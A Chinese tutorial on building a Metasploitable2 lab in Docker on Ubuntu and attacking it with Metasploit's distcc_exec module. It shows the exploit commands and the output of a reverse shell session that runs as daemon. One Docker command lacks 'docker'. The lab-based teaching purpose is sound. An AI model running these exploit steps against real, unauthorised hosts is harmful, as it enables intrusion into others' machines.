本文介紹在Unbuntu環境下用docker來簡單快速地搭建起Metasploitable系統,並用Metasploit來進行滲透測試。
Metasploitable是一個供滲透測試用的、集成各種漏洞的Linux系統。
Metasploita則是一個集成各種漏洞攻擊的滲透利器。
一. 安裝docker
添加https證書
$ curl -fsSL https://mirrors.ustc.edu.cn/docker-ce/linux/ubuntu/gpg | sudo apt-key add -
添加倉庫
$ sudo add-apt-repository "deb [arch=amd64] https://mirrors.ustc.edu.cn/docker-ce/linux/ubuntu $(lsb_release -cs) stable"
安裝docker-ce
$ sudo apt-get install docker-ce -y
啓動及設置開機自啓(ubuntu 14以上版本)
$ sudo systemctl start docker
$ sudo systemctl enable docker
將用戶添加到docker組,以後就能以非root身份運行docker了
$ sudo groupadd docker
$ sudo usermod -aG docker $USER
執行完之後可能要重新登錄才能生效
檢查是否安裝成功
$ docker version
二. 安裝Metasploitable
拉取metasploitable2鏡像
$ docker pull tleemcjr/metasploitable2
運行metasploitable2容器
$ run --name mymetasploitable -it tleemcjr/metasploitable2:latest sh -c "/bin/services.sh && bash"
即可進入metasploitable2系統的命令行,執行$ uname -a
可查看系統信息
三. 安裝metasploit-framework
$ curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \
chmod 755 msfinstall && \
./msfinstall
安裝完成後執行$ msfconsole
即可進入。
四. 進行滲透測試
進入msfconsole命令行窗口
$ msfconsole
docker肉雞下用$ ifconfig
查看ip,然後即可進行下面的測試。
以 exploit/unix/misc/distcc_exec 漏洞爲例,
msf > use exploit/unix/misc/distcc_exec
msf > set RHOST x.x.x.x(docker肉雞ip)
msf > exploit
若滲透成功,則能成功取得肉雞的shell控制,即可遠程控制對方電腦。
msfconsole
msf > use exploit/unix/misc/distcc_exec
msf exploit(distcc_exec) > set RHOST 192.168.99.131
msf exploit(distcc_exec) > exploit
[*] Started reverse double handler
[*] Accepted the first client connection…
[*] Accepted the second client connection…
[*] Command: echo uk3UdiwLUq0LX3Bi;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets…
[*] Reading from socket B
[*] B: "uk3UdiwLUq0LX3Bi\r\n"
[*] Matching…
[*] A is input…
[*] Command shell session 1 opened (192.168.99.128:4444 -> 192.168.99.131:38897) at 2012-05-31 22:06:03 -0700
id
uid=1(daemon) gid=1(daemon) groups=1(daemon)